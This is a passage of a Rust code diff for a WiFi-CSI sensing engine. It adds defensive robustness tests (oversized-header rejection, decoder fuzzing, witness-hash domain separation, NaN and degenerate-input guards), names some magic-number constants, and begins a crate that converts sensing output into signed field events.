+    /// deserialisation boundary for replayed/forwarded captures. A forged header
+    /// advertising an enormous `rows × cols` must be rejected by the
+    /// shape-vs-length check (`expect` uses saturating multiplies) BEFORE the
+    /// `Vec::with_capacity(rows * cols)` allocation — otherwise an attacker could
+    /// drive a multi-GB allocation from a few header bytes (unbounded-memory
+    /// DoS). The check guarantees `rows*cols*16 <= bytes.len()`, so the capacity
+    /// is bounded by the input the caller already holds. This must not OOM.
+    #[test]
+    fn canonical_decode_oversized_shape_is_bounded_not_allocated() {
+        use ndarray::Array2;
+        let meta = CsiMetadata::new(DeviceId::new("n"), FrequencyBand::Band2_4GHz, 1);
+        let data = Array2::from_shape_fn((1, 2), |(_, c)| Complex64::new(c as f64, 0.0));
+        let mut bytes = CsiFrame::new(meta, data).to_canonical_bytes();
+
+        // The (rows, cols) u32 pair is the last 8 bytes before the payload.
+        // Overwrite with a maximal claim (u32::MAX × u32::MAX) and lop off the
+        // payload so the buffer is tiny but the header lies enormously.
+        let shape_off = bytes.len() - 8 - 2 * 16; // 2 samples × 16 bytes payload
+        bytes[shape_off..shape_off + 4].copy_from_slice(&u32::MAX.to_le_bytes());
+        bytes[shape_off + 4..shape_off + 8].copy_from_slice(&u32::MAX.to_le_bytes());
+        bytes.truncate(shape_off + 8); // drop the real payload
+
+        // expect = MAX*MAX*16 (saturated) > found → PayloadMismatch, no alloc.
+        assert!(matches!(
+            CsiFrame::from_canonical_bytes(&bytes),
+            Err(CanonicalDecodeError::PayloadMismatch { .. })
+        ));
+    }
+
+    /// Security pin (review 2026-06) — the decoder must never panic on arbitrary
+    /// bytes: every malformed input is a typed `CanonicalDecodeError`, never an
+    /// unwinding panic (panic-on-adversarial-input = 0). Sweep truncations and a
+    /// deterministic fuzz spread.
+    #[test]
+    fn canonical_decode_never_panics_on_arbitrary_bytes() {
+        use ndarray::Array2;
+        let mut meta = CsiMetadata::new(DeviceId::new("node"), FrequencyBand::Band5GHz, 36);
+        meta.antenna_config.spacing_mm = Some(50.0);
+        let data = Array2::from_shape_fn((2, 8), |(r, c)| Complex64::new(r as f64, c as f64));
+        let good = CsiFrame::new(meta, data).to_canonical_bytes();
+
+        // Every prefix of a valid encoding must decode without panicking.
+        for n in 0..good.len() {
+            let _ = CsiFrame::from_canonical_bytes(&good[..n]);
+        }
+        // Deterministic LCG fuzz over varied lengths.
+        let mut st = 0xDEAD_BEEFu64;
+        for len in 0..400usize {
+            let buf: Vec<u8> = (0..len)
+                .map(|_| {
+                    st = st
+                        .wrapping_mul(6_364_136_223_846_793_005)
+                        .wrapping_add(1_442_695_040_888_963_407);
+                    (st >> 33) as u8
+                })
+                .collect();
+            let _ = CsiFrame::from_canonical_bytes(&buf);
+        }
+    }
+
     /// AC8c (review finding 7) — `Some(Uuid::nil())` calibration is an
     /// encoding error: nil is the wire sentinel for `None`, so encoding it
     /// would alias two distinct frames to one byte string (and one witness).

v2/crates/wifi-densepose-engine/src/lib.rs

@@ -205,7 +205,7 @@ impl StreamingEngine {
     pub fn new(mode: PrivacyMode, model_version: u16, registration: GeoRegistration) -> Self {
         Self {
             fuser: MultistaticFuser::with_config(MultistaticConfig::default()),
-            coherence_accept: 0.85,
+            coherence_accept: Self::DEFAULT_COHERENCE_ACCEPT,
             privacy: PrivacyModeRegistry::new(mode),
             world: WorldGraph::new(registration),
             model_version,
@@ -213,7 +213,11 @@ impl StreamingEngine {
             array: ArrayCoordinator::new(ArrayCoordinatorConfig::default()),
             node_geom: BTreeMap::new(),
             evolution: None,
-            slam: RfSlam::with_discovery(0.5, 5, 0.6),
+            slam: RfSlam::with_discovery(
+                Self::SLAM_ASSOC_RADIUS_M,
+                Self::SLAM_MIN_SIGHTINGS,
+                Self::SLAM_MIN_COHERENCE,
+            ),
             person_tracks: BTreeMap::new(),
             semantic_retention: Self::DEFAULT_SEMANTIC_RETENTION,
             adapter: None,
@@ -257,6 +261,31 @@ impl StreamingEngine {
     /// durable history belongs to the recorder).
     pub const DEFAULT_SEMANTIC_RETENTION: usize = 7_200;
 
+    /// Cross-node coherence at or above which fusion records a positive
+    /// `CoherenceGateThreshold` evidence ref (ADR-137). Below it the cycle still
+    /// emits, but without that corroborating evidence — so this gate shapes the
+    /// trust record, not the privacy class. (== prior inline 0.85.)
+    pub const DEFAULT_COHERENCE_ACCEPT: f32 = 0.85;
+
+    /// ADR-143 reflector-discovery parameters used to build the persistent
+    /// `RfSlam`: association radius (m) within which two sightings are the same
+    /// reflector, the minimum number of sightings before a reflector is
+    /// considered stable, and the minimum per-sighting coherence to admit it.
+    /// (== prior inline `with_discovery(0.5, 5, 0.6)`.)
+    pub const SLAM_ASSOC_RADIUS_M: f64 = 0.5;
+    /// Minimum sightings before a discovered reflector is treated as stable.
+    pub const SLAM_MIN_SIGHTINGS: u64 = 5;
+    /// Minimum per-sighting coherence to admit a reflector sighting.
+    pub const SLAM_MIN_COHERENCE: f32 = 0.6;
+
+    /// ADR-143 static-anchor classification thresholds passed to
+    /// `RfSlam::static_anchors`: the wall/ceiling stationarity ceiling and the
+    /// mobile-reflector floor (anchors more mobile than this are dropped, not
+    /// persisted). (== prior inline `static_anchors(0.05, 1.0)`.)
+    pub const ANCHOR_WALL_CEILING: f64 = 0.05;
+    /// Mobility floor above which a reflector is treated as mobile (skipped).
+    pub const ANCHOR_MOBILE_FLOOR: f64 = 1.0;
+
     /// Override the `SemanticState` retention cap (minimum 1).
     pub fn set_semantic_retention(&mut self, max_states: usize) {
         self.semantic_retention = max_states.max(1);
@@ -331,7 +360,9 @@ impl StreamingEngine {
             self.slam.observe(obs);
         }
         let mut written = Vec::new();
-        for (pos, class) in self.slam.static_anchors(0.05, 1.0) {
+        for (pos, class) in
+            self.slam.static_anchors(Self::ANCHOR_WALL_CEILING, Self::ANCHOR_MOBILE_FLOOR)
+        {
             let kind = match class {
                 wifi_densepose_signal::ruvsense::ReflectorClass::Wall => AnchorKind::Reflector,
                 wifi_densepose_signal::ruvsense::ReflectorClass::Furniture => AnchorKind::Furniture,
@@ -595,19 +626,46 @@ impl StreamingEngine {
     }
 }
 
+/// Domain-separation tag for the witness hash. Bumping this string
+/// intentionally invalidates every previously-recorded witness (a schema break).
+const WITNESS_DOMAIN: &[u8] = b"ruview.engine.witness.v1";
+
+/// Length-prefix a variable-length field into the witness hash so adjacent
+/// fields can never be confused for one another. The 8-byte little-endian
+/// length makes the field framing unambiguous regardless of the bytes inside
+/// it (a field can contain the separator, the domain tag, anything).
+fn witness_field(h: &mut blake3::Hasher, bytes: &[u8]) {
+    h.update(&(bytes.len() as u64).to_le_bytes());
+    h.update(bytes);
+}
+
 /// Deterministic BLAKE3 witness over a trust decision: the provenance tuple
 /// (evidence ‖ model ‖ calibration ‖ privacy decision) plus the effective
 /// privacy-class byte. Stable across runs for identical decisions — the
 /// "signed operational belief" fingerprint (ADR-137 §2.7 / ADR-028).
+///
+/// # Witness integrity (review finding: domain separation)
+/// Every privacy-relevant field is **length-prefixed** before hashing, and the
+/// (variable-length) evidence list is preceded by an explicit count. Without
+/// this framing the fields were concatenated boundary-to-boundary, so a string
+/// straddling a field boundary (e.g. an adapter id absorbing the leading bytes
+/// of the calibration epoch, or a model_version absorbing a trailing evidence
+/// ref) collided with a *different* trust decision — silently un-distinguishing
+/// two distinct privacy-relevant inputs and defeating the tamper/drift audit.
+/// `model_version` is operator-influenceable (per-room adapter id, ADR-150
+/// §3.4), so the ambiguity was reachable, not merely theoretical.
 fn witness_of(p: &SemanticProvenance, class: PrivacyClass) -> [u8; 32] {
     let mut h = blake3::Hasher::new();
+    h.update(WITNESS_DOMAIN);
+    // Explicit evidence count, then each ref length-prefixed: the number of
+    // evidence refs is itself privacy-relevant and must be unambiguous.
+    h.update(&(p.evidence.len() as u64).to_le_bytes());
     for e in &p.evidence {
-        h.update(e.as_bytes());
-        h.update(b"\x1f");
+        witness_field(&mut h, e.as_bytes());
     }
-    h.update(p.model_version.as_bytes());
-    h.update(p.calibration_version.as_bytes());
-    h.update(p.privacy_decision.as_bytes());
+    witness_field(&mut h, p.model_version.as_bytes());
+    witness_field(&mut h, p.calibration_version.as_bytes());
+    witness_field(&mut h, p.privacy_decision.as_bytes());
     h.update(&[class.as_u8()]);
     *h.finalize().as_bytes()
 }
@@ -1113,4 +1171,179 @@ mod tests {
         // StrictNoIdentity base = Restricted, even with no contradiction.
         assert_eq!(out.effective_class, PrivacyClass::Restricted);
     }
+
+    /// De-magic pin (review finding): the named engine constants must keep
+    /// their prior inline values exactly, so the de-magic is a pure rename with
+    /// no behavior change.
+    #[test]
+    fn engine_constants_match_prior_values() {
+        assert_eq!(StreamingEngine::DEFAULT_COHERENCE_ACCEPT, 0.85);
+        assert_eq!(StreamingEngine::SLAM_ASSOC_RADIUS_M, 0.5);
+        assert_eq!(StreamingEngine::SLAM_MIN_SIGHTINGS, 5);
+        assert_eq!(StreamingEngine::SLAM_MIN_COHERENCE, 0.6);
+        assert_eq!(StreamingEngine::ANCHOR_WALL_CEILING, 0.05);
+        assert_eq!(StreamingEngine::ANCHOR_MOBILE_FLOOR, 1.0);
+    }
+
+    /// Privacy monotonicity (the crux): across EVERY base mode, a forced
+    /// contradiction may only ever make the emitted class *more* restrictive
+    /// (higher byte) and never less. Demotion is single-step and clamps at
+    /// Restricted; a clean cycle emits exactly the base class. This is the
+    /// information-only-removed invariant of ADR-141/120 stated as a property
+    /// over the whole mode set.
+    #[test]
+    fn forced_contradiction_never_relaxes_class() {
+        let cal_mismatch = [Some(CalibrationId(1)), Some(CalibrationId(2))]; // disagree → contradiction
+        let cal_match = [Some(CalibrationId(5)), Some(CalibrationId(5))];
+        let frames = [node_frame(0, 1000, 56), node_frame(1, 1001, 56)];
+        for mode in [
+            PrivacyMode::RawResearch,
+            PrivacyMode::PrivateHome,
+            PrivacyMode::EnterpriseAnonymous,
+            PrivacyMode::CareWithConsent,
+            PrivacyMode::StrictNoIdentity,
+        ] {
+            let base_class = mode.target_class();
+
+            // Clean cycle: emits exactly the base class (no relaxation upward).
+            let mut clean = StreamingEngine::new(mode, 1, GeoRegistration::default());
+            let room_c = clean.add_room("r", "R");
+            let oc = clean
+                .process_cycle_calibrated(&frames, &cal_match, room_c, 1)
+                .unwrap();
+            assert_eq!(oc.effective_class, base_class, "clean cycle == base class");
+            assert!(!oc.demoted);
+
+            // Forced contradiction: class byte only ever increases (more
+            // restrictive), never decreases below the base.
+            let mut dirty = StreamingEngine::new(mode, 1, GeoRegistration::default());
+            let room_d = dirty.add_room("r", "R");
+            let od = dirty
+                .process_cycle_calibrated(&frames, &cal_mismatch, room_d, 1)
+                .unwrap();
+            assert!(od.demoted, "calibration mismatch must demote in {mode:?}");
+            assert!(
+                od.effective_class.as_u8() >= base_class.as_u8(),
+                "demotion must never relax: {mode:?} base={:?} got={:?}",
+                base_class,
+                od.effective_class
+            );
+            // And it must be strictly more restrictive unless already clamped
+            // at the most-restrictive class.
+            if base_class != PrivacyClass::Restricted {
+                assert!(
+                    od.effective_class.as_u8() > base_class.as_u8(),
+                    "unclamped demotion must increase restriction in {mode:?}"
+                );
+            } else {
+                assert_eq!(od.effective_class, PrivacyClass::Restricted);
+            }
+        }
+    }
+
+    /// Fail-closed boundary: an empty cycle (zero frames) must NOT emit a
+    /// trusted output at all — fusion rejects it and the engine surfaces a
+    /// hard error. There is no degenerate output that could carry a stale or
+    /// over-permissive class.
+    #[test]
+    fn empty_cycle_fails_closed() {
+        let (mut e, room) = engine();
+        let err = e.process_cycle(&[], CalibrationId(1), room, 1);
+        assert!(matches!(err, Err(EngineError::Fusion(_))), "empty cycle must error, got {err:?}");
+        // No SemanticState was appended (room + sensor only).
+        assert_eq!(e.world().node_count(), 2);
+        assert_eq!(e.cycle_count(), 0, "a failed cycle must not advance the counter");
+    }
+
+    /// Single-node boundary characterization: a one-node cycle fuses (no
+    /// multistatic cross-check is possible), reports no mesh (n<2), and emits a
+    /// well-formed witness at the base class. Documents that single-node sensing
+    /// is a valid, non-demoting mode — not a silent bypass.
+    #[test]
+    fn single_node_cycle_is_well_formed() {
+        let (mut e, room) = engine();
+        let out = e
+            .process_cycle(&[node_frame(0, 1000, 56)], CalibrationId(1), room, 1)
+            .unwrap();
+        assert!(out.mesh.is_none(), "one node has no mesh cut");
+        assert!(out.directional.is_none(), "no geometry registered");
+        assert_eq!(out.effective_class, PrivacyClass::Anonymous); // PrivateHome base
+        assert_ne!(out.witness, [0u8; 32], "witness still emitted");
+    }
+
+    /// Witness domain-separation (review finding): the witness must change
+    /// whenever ANY privacy-relevant field changes. The model_version,
+    /// calibration_version, and privacy_decision fields are concatenated into
+    /// the hash; without an unambiguous delimiter between them, a string that
+    /// straddles the model/calibration boundary collides with a different
+    /// (model, calibration) tuple.
+    ///
+    /// `model_version` is operator-influenceable through the per-room adapter id
+    /// (ADR-150 §3.4), and `calibration_version` is `cal:<hex>` — so the two
+    /// provenances below are *both reachable* and represent genuinely different
+    /// trust decisions (different model identity, different calibration epoch),
+    /// yet the field-boundary ambiguity makes them hash-collide. A colliding
+    /// witness silently un-distinguishes two distinct privacy-relevant inputs,
+    /// defeating the tamper/drift audit guarantee.
+    #[test]
+    fn witness_distinguishes_model_calibration_boundary() {
+        let class = PrivacyClass::Anonymous;
+        // A: model "rfenc-v1+adapter:X", calibration epoch "cal:00ab".
+        let a = SemanticProvenance {
+            evidence: vec!["ev".into()],
+            model_version: "rfenc-v1+adapter:X".into(),
+            calibration_version: "cal:00ab".into(),
+            privacy_decision: "PrivateHome/Anonymous".into(),
+        };
+        // B: adapter id absorbs the leading "cal:00a" of A's calibration; B's
+        // own calibration is the remaining "b". A.model‖A.cal == B.model‖B.cal,
+        // so the unseparated concatenation hashes identically — yet these are
+        // distinct (model identity, calibration epoch) tuples.
+        let b = SemanticProvenance {
+            evidence: vec!["ev".into()],
+            model_version: "rfenc-v1+adapter:Xcal:00a".into(),
+            calibration_version: "b".into(),
+            privacy_decision: "PrivateHome/Anonymous".into(),
+        };
+        assert_ne!(a.model_version, b.model_version);
+        assert_ne!(a.calibration_version, b.calibration_version);
+        // Sanity: the two collide under naive concatenation.
+        assert_eq!(
+            format!("{}{}", a.model_version, a.calibration_version),
+            format!("{}{}", b.model_version, b.calibration_version),
+        );
+        assert_ne!(
+            witness_of(&a, class),
+            witness_of(&b, class),
+            "distinct (model, calibration) tuples must not share a witness"
+        );
+    }
+
+    /// Witness domain-separation across the evidence/model boundary: a witness
+    /// must distinguish an extra evidence ref from a model_version that absorbs
+    /// the same bytes. The evidence loop terminates each ref with one separator;
+    /// the model field must itself be unambiguously delimited from the (variable
+    /// number of) evidence refs that precede it.
+    #[test]
+    fn witness_distinguishes_evidence_model_boundary() {
+        let class = PrivacyClass::Anonymous;
+        let a = SemanticProvenance {
+            evidence: vec!["e1".into(), "e2".into()],
+            model_version: "m".into(),
+            calibration_version: "cal:1".into(),
+            privacy_decision: "PrivateHome/Anonymous".into(),
+        };
+        let b = SemanticProvenance {
+            evidence: vec!["e1".into()],
+            // absorbs "e2" + its 0x1f separator into the model field.
+            model_version: "e2\u{1f}m".into(),
+            calibration_version: "cal:1".into(),
+            privacy_decision: "PrivateHome/Anonymous".into(),
+        };
+        assert_ne!(
+            witness_of(&a, class),
+            witness_of(&b, class),
+            "an extra evidence ref must not collide with a model_version that absorbs it"
+        );
+    }
 }

v2/crates/wifi-densepose-geo/src/coord.rs

@@ -15,7 +15,11 @@ pub fn haversine(a: &GeoPoint, b: &GeoPoint) -> f64 {
     let lat1 = a.lat.to_radians();
     let lat2 = b.lat.to_radians();
     let h = (dlat / 2.0).sin().powi(2) + lat1.cos() * lat2.cos() * (dlon / 2.0).sin().powi(2);
-    2.0 * WGS84_A * h.sqrt().asin()
+    // `asin` is only defined on [-1, 1]. For (near-)antipodal points floating
+    // rounding can push `h.sqrt()` to 1.0 + epsilon, and `asin(>1)` is NaN —
+    // which would silently poison any distance-based comparison downstream.
+    // Clamp into domain so the result is always a finite distance.
+    2.0 * WGS84_A * h.sqrt().clamp(0.0, 1.0).asin()
 }
 
 /// WGS84 to local ENU (East-North-Up) relative to origin, in meters.
@@ -83,3 +87,73 @@ pub fn tiles_for_bbox(bbox: &GeoBBox, zoom: u8) -> Vec<TileCoord> {
     }
     tiles
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    // ── haversine asin-domain robustness ───────────────────────────────────
+    //
+    // For (near-)antipodal points, floating rounding can push the haversine
+    // term `h` to 1.0 + ~4e-16, and `asin(sqrt(h)) = asin(>1)` is NaN. A NaN
+    // distance silently breaks every downstream comparison (all `<`/`>` become
+    // false), so the result must stay finite. This exact pair produced
+    // h = 1.0000000000000004 pre-fix (verified empirically).
+
+    #[test]
+    fn haversine_near_antipodal_is_finite_not_nan() {
+        let a = GeoPoint {
+            lat: -44.4994,
+            lon: -178.957_22,
+            alt: 0.0,
+        };
+        let b = GeoPoint {
+            lat: 44.499_399_99,
+            lon: 1.042_780_01,
+            alt: 0.0,
+        };
+        let d = haversine(&a, &b);
+        assert!(d.is_finite(), "near-antipodal haversine must be finite, got {d}");
+        // Half-circumference is ~20_037 km; result must be close to that.
+        assert!(
+            (19_000_000.0..21_000_000.0).contains(&d),
+            "antipodal distance should be ~half-circumference, got {d}"
+        );
+    }
+
+    #[test]
+    fn haversine_identical_points_is_zero() {
+        let p = GeoPoint {
+            lat: 43.65,
+            lon: -79.38,
+            alt: 0.0,
+        };
+        let d = haversine(&p, &p);
+        assert!(d.is_finite() && d < 1e-6, "identical points → 0, got {d}");
+    }
+
+    // ── pole-singularity robustness (degenerate geometry) ──────────────────
+    //
+    // The ENU transforms divide by cos(lat); at the poles cos(±90°) = 0, so
+    // the longitude term is non-finite. We do not change the transform (that
+    // would alter near-pole results), but we pin that the call does NOT panic.
+
+    #[test]
+    fn wgs84_to_enu_at_pole_does_not_panic() {
+        let origin = GeoPoint {
+            lat: 90.0,
+            lon: 0.0,
+            alt: 0.0,
+        };
+        let point = GeoPoint {
+            lat: 89.99,
+            lon: 10.0,
+            alt: 0.0,
+        };
+        // Must return without panicking. North/up stay finite; east may be
+        // non-finite at the exact pole — assert the bounded components only.
+        let enu = wgs84_to_enu(&point, &origin);
+        assert!(enu[1].is_finite(), "north component must be finite");
+        assert!(enu[2].is_finite(), "up component must be finite");
+    }
+}

v2/crates/wifi-densepose-geo/src/terrain.rs

@@ -68,6 +68,21 @@ pub fn parse_hgt(data: &[u8], origin_lat: f64, origin_lon: f64) -> Result<Elevat
     let n_samples = data.len() / 2;
     let side = (n_samples as f64).sqrt() as usize;
 
+    // A valid SRTM grid is at least 2x2 — anything smaller has no cell spacing.
+    // Without this guard, `side - 1` underflows (panic in debug, wraps to a
+    // huge value in release) and `1.0 / (side - 1)` yields a garbage/inf
+    // `cell_size_deg` that then poisons every `ElevationGrid::get` lookup. A
+    // truncated download, a 404 HTML body, or an empty response can all reach
+    // here, so fail loudly instead of corrupting the persisted grid.
+    if side < 2 {
+        anyhow::bail!(
+            "HGT data too small: {} bytes ({} samples, side {}) — need at least a 2x2 grid",
+            data.len(),
+            n_samples,
+            side
+        );
+    }
+
     let heights: Vec<f32> = data
         .chunks_exact(2)
         .map(|c| {
@@ -129,3 +144,42 @@ pub fn extract_subgrid(grid: &ElevationGrid, center: &GeoPoint, radius_m: f64) -
         heights,
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    // ── parse_hgt degenerate-input robustness ──────────────────────────────
+    //
+    // Before the `side < 2` guard, an empty or sub-2x2 buffer made
+    // `1.0 / (side - 1)` underflow `side` (panic in debug / huge wrap in
+    // release) and produce a garbage `cell_size_deg`. A truncated download or
+    // a 404 HTML page reaches `parse_hgt`, so these must Err, not panic/poison.
+
+    #[test]
+    fn parse_hgt_empty_data_errors_not_panics() {
+        let res = parse_hgt(&[], 40.0, -75.0);
+        assert!(res.is_err(), "empty HGT must Err, got {res:?}");
+    }
+
+    #[test]
+    fn parse_hgt_single_sample_errors() {
+        // 2 bytes = 1 sample → side 1 → div-by-zero cell_size (inf) pre-fix.
+        let res = parse_hgt(&[0u8, 0u8], 40.0, -75.0);
+        assert!(res.is_err(), "1-sample HGT must Err, got {res:?}");
+    }
+
+    #[test]
+    fn parse_hgt_minimal_2x2_is_finite() {
+        // 4 samples = 8 bytes → side 2 → cell_size = 1.0 (finite, valid).
+        let data = vec![0u8; 8];
+        let grid = parse_hgt(&data, 40.0, -75.0).expect("2x2 HGT should parse");
+        assert_eq!(grid.cols, 2);
+        assert_eq!(grid.rows, 2);
+        assert!(
+            grid.cell_size_deg.is_finite() && grid.cell_size_deg > 0.0,
+            "cell_size must be finite positive, got {}",
+            grid.cell_size_deg
+        );
+    }
+}

v2/crates/wifi-densepose-pointcloud/src/csi_pipeline.rs

@@ -700,4 +700,79 @@ mod tests {
             assert!(conf > 0.7, "self-similarity should exceed match threshold");
         }
     }
+
+    // ── NaN-state-poisoning guard (the proven recurring bug class) ──────────
+    //
+    // The calibration/vitals crates were both bitten by a single non-finite
+    // sample latching into persistent state and freezing all outputs forever.
+    // Here the auto-accumulating persistent state is `occupancy` (an EMA:
+    // `*occ = *occ*0.7 + new*0.3`) and `vitals` (motion/breathing/heart).
+    //
+    // The UDP parser can only ever emit finite amplitudes/phases (sqrt and
+    // atan2 of i8 values), so the realistic ingress is already safe. This test
+    // is stronger: it injects an adversarial hand-built `CsiFrame` carrying
+    // NaN/inf amplitudes and phases (possible because the fields are public),
+    // and pins that the persistent state self-heals to finite values rather
+    // than latching NaN and silently freezing — i.e. the bug class is absent.
+    #[test]
+    fn nonfinite_frame_does_not_poison_persistent_state() {
+        let mut s = CsiPipelineState::default();
+        // Warm up with valid frames so vitals/occupancy are populated.
+        seed_state_with_frames(&mut s, 60);
+
+        // A valid baseline must be finite to start.
+        assert!(s.occupancy.iter().all(|d| d.is_finite()));
+        assert!(s.vitals.breathing_rate.is_finite());
+        assert!(s.vitals.motion_score.is_finite());
+
+        // Inject a stream of poisoned frames: NaN/inf amplitudes + phases on a
+        // valid header (node_id 1, finite rssi). Mimics a corrupt sensor.
+        for i in 0..40 {
+            let nan_frame = CsiFrame {
+                node_id: 1,
+                n_antennas: 1,
+                n_subcarriers: 32,
+                channel: 6,
+                rssi: -50,
+                noise_floor: -90,
+                timestamp_us: 10_000 + i,
+                iq_data: vec![0i8; 64],
+                amplitudes: vec![f32::NAN; 32],
+                phases: vec![f32::INFINITY; 32],
+            };
+            s.process_frame(nan_frame);
+        }
+
+        // Persistent auto-accumulating state must remain finite — a single
+        // poisoned frame (or 40) must not permanently corrupt outputs.
+        assert!(
+            s.occupancy.iter().all(|d| d.is_finite()),
+            "occupancy EMA must not latch NaN/inf"
+        );
+        assert!(
+            s.vitals.breathing_rate.is_finite(),
+            "breathing_rate must stay finite, got {}",
+            s.vitals.breathing_rate
+        );
+        assert!(
+            s.vitals.heart_rate.is_finite(),
+            "heart_rate must stay finite, got {}",
+            s.vitals.heart_rate
+        );
+        assert!(
+            s.vitals.motion_score.is_finite(),
+            "motion_score must stay finite, got {}",
+            s.vitals.motion_score
+        );
+
+        // And the pipeline must recover: feeding valid frames again yields a
+        // finite, in-range breathing estimate (not a frozen NaN).
+        seed_state_with_frames(&mut s, 60);
+        assert!(s.vitals.breathing_rate.is_finite());
+        assert!(
+            (0.0..=40.0).contains(&s.vitals.breathing_rate),
+            "breathing must be in clamp range after recovery, got {}",
+            s.vitals.breathing_rate
+        );
+    }
 }

v2/crates/wifi-densepose-pointcloud/src/fusion.rs

@@ -184,4 +184,43 @@ mod tests {
         let fused = fuse_clouds(&[&a], 0.5);
         assert_eq!(fused.points.len(), 1, "three close points → one voxel");
     }
+
+    // ── degenerate-input robustness (no panic, sensible output) ────────────
+    //
+    // These pin that the voxel accumulators handle empty / single / all-
+    // coincident inputs without dividing by zero or panicking. The per-voxel
+    // count is always >= 1 (the entry is created on first insert), so the
+    // `/n` averaging is safe — but make that contract explicit so a future
+    // refactor cannot silently reintroduce a div-by-zero.
+
+    #[test]
+    fn fuse_clouds_empty_input_is_empty() {
+        let fused = fuse_clouds(&[], 0.1);
+        assert!(fused.points.is_empty(), "no clouds → no points");
+        let empty = PointCloud::new("empty");
+        let fused2 = fuse_clouds(&[&empty], 0.1);
+        assert!(fused2.points.is_empty(), "empty cloud → no points");
+    }
+
+    #[test]
+    fn fuse_clouds_single_point_is_finite() {
+        let a = cloud_with("a", &[(1.0, 2.0, 3.0)]);
+        let fused = fuse_clouds(&[&a], 0.1);
+        assert_eq!(fused.points.len(), 1);
+        let p = &fused.points[0];
+        assert!(
+            p.x.is_finite() && p.y.is_finite() && p.z.is_finite() && p.intensity.is_finite(),
+            "single-point voxel must average to a finite point"
+        );
+    }
+
+    #[test]
+    fn fuse_clouds_all_coincident_collapses_finite() {
+        // Many identical points → one voxel, finite averaged centroid.
+        let a = cloud_with("a", &[(0.5, 0.5, 0.5); 100]);
+        let fused = fuse_clouds(&[&a], 0.25);
+        assert_eq!(fused.points.len(), 1, "coincident points → one voxel");
+        let p = &fused.points[0];
+        assert!((p.x - 0.5).abs() < 1e-4 && p.x.is_finite());
+    }
 }

v2/crates/wifi-densepose-rufield/Cargo.toml

@@ -0,0 +1,26 @@
+[package]
+name = "wifi-densepose-rufield"
+version = "0.3.0"
+edition = "2021"
+description = "ADR-262 anti-corruption bridge: converts RuView WiFi-CSI sensing output into signed RuField FieldEvents (P0–P5 privacy mapping + ed25519 provenance)"
+license.workspace = true
+authors.workspace = true
+repository.workspace = true
+
+# ADR-262 §5.4: this crate is the single coupling point ("anti-corruption
+# layer") between RuView and the standalone RuField MFS spec. It depends on the
+# `vendor/rufield` submodule crates **via path** (the `vendor/rvcsi` pattern) —
+# RuView does NOT depend on published rufield crates (there are none) and does
+# NOT make rufield a v2 workspace member. The four crates below are pure-Rust
+# (serde / serde_json / toml / sha2 / ed25519-dalek only — no tch / openblas /
+# ndarray / candle), so they build under `--no-default-features`.
+[dependencies]
+rufield-core = { path = "../../../vendor/rufield/crates/rufield-core" }
+rufield-provenance = { path = "../../../vendor/rufield/crates/rufield-provenance" }
+rufield-privacy = { path = "../../../vendor/rufield/crates/rufield-privacy" }
+rufield-fusion = { path = "../../../vendor/rufield/crates/rufield-fusion" }
+serde = { workspace = true }
+serde_json = { workspace = true }
+
+[dev-dependencies]
+serde_json = { workspace = true }

v2/crates/wifi-densepose-rufield/src/bridge.rs

@@ -0,0 +1,206 @@
+//! The conversion: `SensingSnapshot` → signed `FieldEvent` (ADR-262 P1).
+//!
+//! This is the in-process `SensingServerAdapter` core (ADR-262 §4 P1 / §5.1):
+//! it consumes a `(SensingUpdate, TrustedOutput)` join — modelled here as a
+//! [`SensingSnapshot`] of owned primitives — and emits one signed
+//! [`FieldEvent`] (`Modality::WifiCsi`, axis `[Frequency]`) per cycle.
+
+use crate::privacy::egress_class;
+use crate::snapshot::{SensingSnapshot, SignalField};
+use rufield_core::{
+    FieldAxis, FieldEvent, FieldTensor, Modality, Observation, PrivacyClass, ProvenanceRef,
+    SensorDescriptor,
+};
+use rufield_provenance::{sha256_hex, Signer};
+use std::collections::BTreeMap;
+
+/// Model id stamped on emitted events (ADR-262 — derived features come from
+/// RuView's `/ws/sensing` pipeline, not a trained encoder).
+const MODEL_ID: &str = "ruview_sensing_server_v1";
+
+/// Firmware hash placeholder until the real ESP32 firmware image hash is wired
+/// through (ADR-262 §8 open question 3 — the BLAKE3 engine witness slot). A
+/// stable `sha256:` over the model id keeps it a real digest, not a fake.
+fn firmware_hash() -> String {
+    sha256_hex(MODEL_ID.as_bytes())
+}
+
+/// Squash a non-negative power-like scalar into `[0, 1]` deterministically.
+/// `x / (x + 1)` — monotone, no panics, no calibration claim.
+fn squash(x: f64) -> f32 {
+    if !x.is_finite() || x <= 0.0 {
+        return 0.0;
+    }
+    (x / (x + 1.0)) as f32
+}
+
+/// Build the `Observation.features` map the RuField fusion engine reads
+/// (`rufield-fusion/engine.rs:217-228`: `motion_energy`, `breathing_band`,
+/// `transient`, `presence`, `range_m`, plus `posture_height`).
+fn build_features(snap: &SensingSnapshot, range_m: Option<f32>) -> BTreeMap<String, f32> {
+    let f = &snap.features;
+    let mut m = BTreeMap::new();
+    m.insert("motion_energy".to_string(), squash(f.motion_band_power));
+    m.insert("breathing_band".to_string(), squash(f.breathing_band_power));
+    m.insert("transient".to_string(), squash(f.change_points as f64));
+    m.insert(
+        "presence".to_string(),
+        if snap.classification.presence { 1.0 } else { 0.0 },
+    );
+    if let Some(r) = range_m {
+        m.insert("range_m".to_string(), r);
+    }
+    m
+}
+
+/// Derive a real range (metres) and motion vector from the strongest signal
+/// field peak, if a field is present. Returns `(range_m, motion_vector,
+/// space_cell)` — all `None` when there is no field (we do NOT fabricate
+/// coordinates, per ADR-262 §4 P1).
+fn derive_position(
+    field: Option<&SignalField>,
+) -> (Option<f32>, Option<[f32; 3]>, Option<[i32; 3]>) {
+    let Some(field) = field else {
+        return (None, None, None);
+    };
+    let Some(cell) = field.peak_cell() else {
+        return (None, None, None);
+    };
+    // Range from origin in grid-cell units (real readout, not calibrated
+    // metres — the honesty caveat from `field_localize.rs:16-27`).
+    let [x, y, z] = cell;
+    let range = ((x * x + y * y + z * z) as f32).sqrt();
+    let mag = if range > 0.0 { range } else { 1.0 };
+    let motion_vector = [x as f32 / mag, y as f32 / mag, z as f32 / mag];
+    (Some(range), Some(motion_vector), Some(cell))
+}
+
+/// Stable, deterministic event id from `(node_id, timestamp_ns)`. No RNG, so
+/// the same snapshot always yields the same id (required for the determinism
+/// gate).
+fn event_id(snap: &SensingSnapshot) -> String {
+    format!("ruview-{}-{}", snap.node_id, snap.timestamp_ns)
+}
+
